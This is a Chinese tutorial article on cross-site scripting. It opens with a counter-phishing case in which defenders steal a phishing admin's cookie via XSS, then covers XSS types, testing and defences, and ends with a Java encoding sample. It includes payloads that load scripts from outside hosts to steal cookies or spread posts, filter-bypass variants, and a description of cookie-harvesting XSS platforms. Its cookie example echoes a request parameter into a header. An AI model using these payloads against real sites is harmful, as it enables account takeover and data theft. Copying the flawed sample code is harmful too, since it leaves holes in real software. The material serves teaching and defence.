某日,安全团队收到监控预警,有外部人员使用钓鱼邮件对公司内部人员进行信息诈骗。安全团队立即开始分析事件进程。
攻击者以劳动补贴名义群发邮件,诱导内部员工扫描二维码,进而填写个人信息、银行卡等敏感内容。
安全团队立即开始对邮件进行溯源。
首先,扫描该二维码,跳转到钓鱼邮件域名为
https://4z3ichiecr.512kasmdkasijdiashdjdfdfpewkpxxxxxxxxxx.cn/okok168
ip地址为:
150.129.123.123(香港服务器)
经测试,该钓鱼邮件页面中前端页面存在跨站脚本攻击漏洞,利用该漏洞,安全团队进行反钓鱼试验。等待钓鱼平台管理人员上线。
经过一天的等待,终于有了突破,钓鱼平台人员上线,我方通过预埋的跨站脚本攻击漏洞获取了网站后台管理员账号cookie信息。顺利登录该后端平台。
登录后确认该平台为攻击来源,确认受害者信息、范围、金额,并锁定后台人员登录ip、身份等信息。完成溯源工作。为后续法律方面推进工作提供了有利支持。
上述钓鱼反制的关键角色,就是本文要讲述的主角:跨站脚本攻击漏洞。
跨站脚本攻击(Cross Site Scripting,以下简称XSS)。
本应缩写为CSS,但由于CSS(Cascading Style Sheets,层叠样式脚本)重名,所以更名为XSS。
XSS(跨站脚本攻击)是指攻击者在网页中嵌入客户端脚本(如JavaScript),当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的。比如获取用户的Cookie,导航到恶意网站,携带木马等。
XSS漏洞可分为三类。
XSS漏洞的危害不仅局限于弹窗这种骚扰方式,按危害发生位置来划分,可分为客户端、服务端两类。总结如下,
通过以下两个例子,说明XSS的危害性。
某业务系统,机器人客服对话功能中,允许攻击者输入XSS攻击代码,如<sCRiPt/SrC=//xssxss.com/zLko>
系统后端管理人员,只要查看攻击者提交的对话内容,系统会自动执行xss攻击语句,获取事先定制的管理用户数据。
通过XSS后端打码平台(下文详述),获取后台用户cookie数据。效果如下。
攻击者可通过获取的cookie数据,以后台用户的身份成功登录系统后台并进行操作。
<sCript>alert`xss`</sCript>
可弹窗。
<sCRiPt/SrV=//60.wf/ORxV>
普通用户浏览存在攻击语句的帖子,即会自动进行发帖。
以下为存在危害的帖子,普通用户完成浏览。
查看普通用户的发帖记录。已成功自动发帖。
<embed/src=/xxxxxx.com/web/normal/topic/806440>
跨站脚本攻击XSS,应在信息系统建设阶段重点测试及修复。
漏洞检测需要考虑到输入限制、过滤、长度限制等因素,因此需要设计各种不容的变体输入,以达到测试效果,也可以使用BurpSuite等抓包工具来获取请求后手工修改请求参数,然后重新提交到服务端来测试,因为XSS并不限于可见的页面输入,还有可能是隐藏表单域、get请求参数等。
具体的测试对象可包括:页面输入处、url参数和http请求中的跨站脚本漏洞。
最常见的跨站脚本的方法,输入<Script>alert(1)</script>
以及它的各种变体:
<script>alert(document.cookie)</script>
<script>alert(1)</script>
<ScRipt>alert(1)</script>
%3Cscript%3Ealert(1)%3C/script%3E
<script x=1>alert(1)</script x=1>
<script>confirm(1)</script>
<svg/onload=alert`1`>
"--><Svg/Onload=alert(1)>
'";alert(1);x="'
<img src=alert(1)>
<sc<script>ript>alert(/1/)</script>
<javascript:alert(1)>;
变体XSS攻击语句,主要是针对服务端防护不全的场景。绕过XSS防护的方式包括:
1、html标签、JavaScript事件尝试;
2、大小写绕过,如<ScRiPt>
3、主动闭合标签实现注入代码
4、混淆,如<<script>
5、特殊字符转义Unicode或ascii、base64等的方式
例如,提交XSS攻击语句<script>alert(document.cookie)</script>
后,页面弹出警告框,则该页面存在XSS漏洞。如下:
存储型跨站脚本攻击测试方法与反射型类似,区别在于存储型跨站脚本攻击的检测内容主要是Web应用程序向用户提供的可添加新内容并持久存储的Web表单。通过对每个可能存在攻击点的Web表单插入攻击字符串,进行检测。
对于有经验的攻击者,通常使用XSS打码平台实施攻击。XSS平台,通常可以记录访问的url,访问时的cookie等。稍微复杂的功能,可能还会记录键盘输入,获取页面源码,截取网页屏幕等。
相应的功能可在平台进行定制,例如,
勾选相应模块后,系统会自动生成各种类型的攻击语句(结合上述绕过思路)。
攻击者将相应的语句嵌入被攻击平台,静等后台受害者上线即可。以下为攻击者成功获取用户信息的界面。
除了手工测试外,企业也可采用自动化漏洞扫描方案。
企业作为信息平台提供方,如何防御跨站脚本漏洞,可以从XSS漏洞的攻击流程入手。
完整的XSS攻击流程包括五步。攻击者发现XSS漏洞——构造攻击代码,植入功能点——被害人主动或被动访问功能——前端(浏览器)执行代码——获取受害人信息如cookie。
从攻击流程判断,平台方可以从XSS攻击语句的输入、输出阶段进行介入,打断攻击流程,完成攻击防御。
跨站脚本攻击漏洞防御总体思路可总结为:输入过滤,输出编码。
XSS攻击语句多为HTML、JavaScript事件标签。可通过过滤标签的方式,破坏攻击者构造的攻击语句。
如过滤<script>、<iframe>等,将“<”转义成“<”、“>”转义成“>”、“"”转义成“"”、“&”转义 成“&” 等。
如 "onclick=", "onfocus" 等。
总结常见HTML、JavaScript常见标签如下:
HTML5标签
<svg>
<audio>
<video>
<math>
<link>
<details>
<canvas>
<article>
<progress>
<command>
HTML4标签
<base>
<frameset>
<iframe>
<frame>
<body>
<object>
<script>
<style>
<img>
<div>
<li>
<embed>
<input>
<title>
<bgsound>
<h1>-<h6>
<hr>
<textarea>
<menu>
<a>
<p>
<em>
<span>
<strong>
<smail>
<label>
常见事件
onclick
onload
onmouseover
onerror
onfocus
onblur
onmouseout
onmousemove
onmousedown
onmouseup
ontoggle
除了常见的HTML、JavaScript标签过滤。还可以对特殊字符进行过滤。一般建议过滤掉双引号(”)、尖括号(<、>)等特殊字符,或者对客户端提交的数据中包含的特殊字符进行实体转换,比如将双引号(”)转换成其实体形式",<对应的实体形式是<,<对应的实体形式是>。
以下为需过滤的常见字符:
|(竖线符号)
&(&符号)
;(分号)
$(美元符号)
%(百分比符号)
@(at符号)
'(单引号)
"(引号)
\'(反斜杠转义单引号)
\"(反斜杠转义引号)
<>(尖括号)
()(括号)
+(加号)
CR(回车符,ASCII 0x0d)
LF(换行,ASCII 0x0a)
,(逗号)
\(反斜杠)
另外,也可以对用户输入内容格式进行限制。对于用户输入的校验,要求最终落地在服务端,因为前端js限制可通过抓包等形式绕过。
上述输入过滤的方式,在用户输入阶段入手,存在被绕过的可能(参见第三章XSS绕过方法)。
防守方还可以从系统输出入手,对系统输出到前端(浏览器)的语句作转义处理。用来确保输入的字符被视为数据,而不是作为html、js被浏览器所解析。转义比过滤更推荐。
变量输出到不同环境,使用不同的输出编码,项目中较多的是输出到html实体(Html Encode)、输出到js中、或从js输出到html实体中。
可以根据不同的输出域选择转义方法:
在请求返回页面关键字符进行特殊字符转义,总结如下:
< 转成 <
> 转成 >
& 转成 &
" 转成 "
' 转成 '
\ 转成 \\
/ 转成 \/
; 转成 ;(全角;)
综上,结合“输入过滤、输出编码”的整体原则,研发人员可参考如下XSS安全编码示例(XssSecureCodeSample.java)。
package com.security.securecodesample;
import org.junit.Assert;
import junit.framework.Test;
import junit.framework.TestCase;
import junit.framework.TestSuite;
public class XssSecureCodeSample extends TestCase {
public static void XssFilterSample1(String toFilterString, String expectedResult) {
boolean XSSFlag = false;
String[] toFilters = { "<script", "<frameset", "<iframe", "<frame",
"<body", "<object", "<style", "<img", "<div", "<li", "<embed",
"<input", "<a", "<title", "<bgsound" };
String temp = toFilterString.toLowerCase();
for (String s: toFilters) {
if (temp.contains(s)) {
XSSFlag = true;
break;
}
}
if (XSSFlag) {
String result = "illegal!";
Assert.assertEquals(result, expectedResult);
}
else {
String result = "legal!";
Assert.assertEquals(result, expectedResult);
}
}
public static void XssHtmlEncodeSample1(String toFilterString, String expectedResult) {
String result = htmlEncode(toFilterString);
Assert.assertEquals(result, expectedResult);
}
public static void XssHtmlAttributeEncodeSample1(String toFilterString, String expectedResult) {
String result = htmlAttributeEncode(toFilterString);
Assert.assertEquals(result, expectedResult);
}
public static void UrlEncodeSample1(String toFilterString, String expectedResult) {
String result = urlEncode(toFilterString);
Assert.assertEquals(result, expectedResult);
}
public static void UnicodeEncodeSample1(String toFilterString, String expectedResult) {
String result = javaScriptEncoding(toFilterString);
Assert.assertEquals(result, expectedResult);
}
public static void CSSEncodeSample1(String toFilterString, String expectedResult) {
String result = CSSHexEncoding(toFilterString);
Assert.assertEquals(result, expectedResult);
}
/*
Convert & to &
Convert < to <
Convert > to >
Convert " to "
Convert ' to '
Convert / to /
*/
public static String htmlEncode(String toFilterString) {
StringBuffer sb = new StringBuffer();
for(int i = 0 ; i < toFilterString.length() ; i ++) {
char c = toFilterString.charAt(i);
switch (c) {
case '&':
sb.append("&");
break;
case '<':
sb.append("<");
break;
case '>':
sb.append(">");
break;
case '"':
sb.append(""");
break;
case '\'':
sb.append("'");
break;
case '/':
sb.append("/");
break;
default:
sb.append(c);
}
}
String result = sb.toString();
//System.out.println(result);
return result;
}
/*
* Except for alphanumeric characters, escape all characters with the HTML Entity &#xHH;
* format, including spaces. (HH = Hex Value)
*/
public static String htmlAttributeEncode(String toFilterString) {
String table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
StringBuffer sb = new StringBuffer();
for(int i = 0 ; i < toFilterString.length() ; i ++) {
char c = toFilterString.charAt(i);
String cc = c + "";
if (table.contains(cc)) {
sb.append(c);
} else {
sb.append("&#" + Integer.toHexString((int)c) + ";");
}
}
String result = sb.toString();
System.out.println(result);
return result;
}
/*
* CSS escaping supports \XX and \XXXXXX. Using a two character escape can cause problems if the next character continues the escape sequence.
* There are two solutions (a) Add a space after the CSS escape (will be ignored by the CSS parser) (b) use the full amount of CSS escaping
* possible by zero padding the value.
*/
public static String CSSHexEncoding(String s) {
StringBuilder sb = new StringBuilder(s.length() * 3);
for (char c : s.toCharArray()) {
sb.append("\\");
sb.append(Character.forDigit((c >>> 20) & 0xf, 16));
sb.append(Character.forDigit((c >>> 16) & 0xf, 16));
sb.append(Character.forDigit((c >>> 12) & 0xf, 16));
sb.append(Character.forDigit((c >>> 8) & 0xf, 16));
sb.append(Character.forDigit((c >>> 4) & 0xf, 16));
sb.append(Character.forDigit((c) & 0xf, 16));
}
System.out.println(sb.toString());
return sb.toString();
}
public static String unicodeEncoding(String s) {
StringBuilder sb = new StringBuilder(s.length() * 3);
for (char c : s.toCharArray()) {
sb.append("\\u");
sb.append(Character.forDigit((c >>> 12) & 0xf, 16));
sb.append(Character.forDigit((c >>> 8) & 0xf, 16));
sb.append(Character.forDigit((c >>> 4) & 0xf, 16));
sb.append(Character.forDigit((c) & 0xf, 16));
}
//System.out.println(sb.toString());
return sb.toString();
}
public static String javaScriptEncoding(String toFilterString) {
String table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
StringBuffer sb = new StringBuffer();
for(int i = 0 ; i < toFilterString.length() ; i ++) {
char c = toFilterString.charAt(i);
String cc = c + "";
if (table.contains(cc)) {
sb.append(c);
} else {
sb.append(unicodeEncoding(cc));
}
}
String result = sb.toString();
System.out.println(result);
return result;
}
public final static String[] encodeTable = new String[256];
static{
for(int i = 0 ; i < 256 ; i++)
{
if(i >='0' && i <= '9' || i >= 'a' && i <= 'z' || i >= 'A' && i <= 'Z' || i == '-' || i == '_' || i == '.')
{
encodeTable[i] = (char)i + "";
}else
{
encodeTable[i] = "%" + String.format("%02x",i).toUpperCase();
}
}
}
/*
* URLEncode Except for alphanumeric characters, escape all characters with the \\uXXXX unicode escaping format (X = Integer).
*/
public static String urlEncode(final String sourceStr)
{
final StringBuilder sb = new StringBuilder();
for(int i = 0 ; i < sourceStr.length() ; i++)
{
sb.append(encodeTable[(int)sourceStr.charAt(i) & 0xFF]);
}
return sb.toString();
}
public static Test suite() {
return new TestSuite(XssSecureCodeSample.class);
}
public void testFilter1() {
XssFilterSample1("<script>alert(123)</script>", "illegal!");
XssFilterSample1("userdata", "legal!");
}
public void testEncode1() {
XssHtmlEncodeSample1("<script>alert(123)</script>", "<script>alert(123)</script>");
XssHtmlAttributeEncodeSample1("javascript:alert(123)", "javascripta;alert123");
UrlEncodeSample1("<sciprt>alert(123)</alert>", "%3Csciprt%3Ealert%28123%29%3C%2Falert%3E");
UnicodeEncodeSample1("var a = 1;", "var\\u0020a\\u0020\\u003d\\u00201\\u003b");
CSSEncodeSample1("back-ground:url", "\\000062\\000061\\000063\\00006b\\00002d\\000067\\000072\\00006f\\000075\\00006e\\000064\\00003a\\000075\\000072\\00006c");
}
public static void main(String[] args) {
junit.textui.TestRunner.run(suite());
}
}
除了上述从后端源码层面的XSS防护。还可以从浏览器(前端)层面进行相关安全配置,实现XSS防护。具体如下。
建议如果网站基于cookie而非服务器端的验证,建议加上HttpOnly,当然,目前这个属性还不属于任何一个标准,也不是所有的浏览器支持,设置cookie的代码:
response.setHeader("SET-COOKIE","user=" + request.getParameter("cookie") + "; HttpOnly");
本段代码设置了http only属性,攻击者无法通过Javascript 中的document.cookie语句获取用户Cookie信息。
该属性被所有的主流浏览器默认开启。X-XSS-Protection,即XSS保护属性,是设置在响应头中目的是用来防范XSS攻击的。在检查到XSS攻击时,停止渲染页面。
CSP是网页安全策略(Content Security Policy)的缩写。
开启策略后可以起到以下作用:
本文结合实际使用案例,简要讲述了跨站脚本攻击漏洞XSS的原理、危害、测试方法及防御措施。
XSS漏洞形成的根本原因是,用户过分信任网站,放任来自浏览器地址栏代表的那个网站代码在自己本地任意执行。如果没有浏览器的安全机制限制,XSS代码可以在用户浏览器为所欲为。
对于XSS的防御,更多的是客户端侧的任务。故业界有人戏称"CSRF是服务端程序员的锅,XSS是客户端程序员的锅"。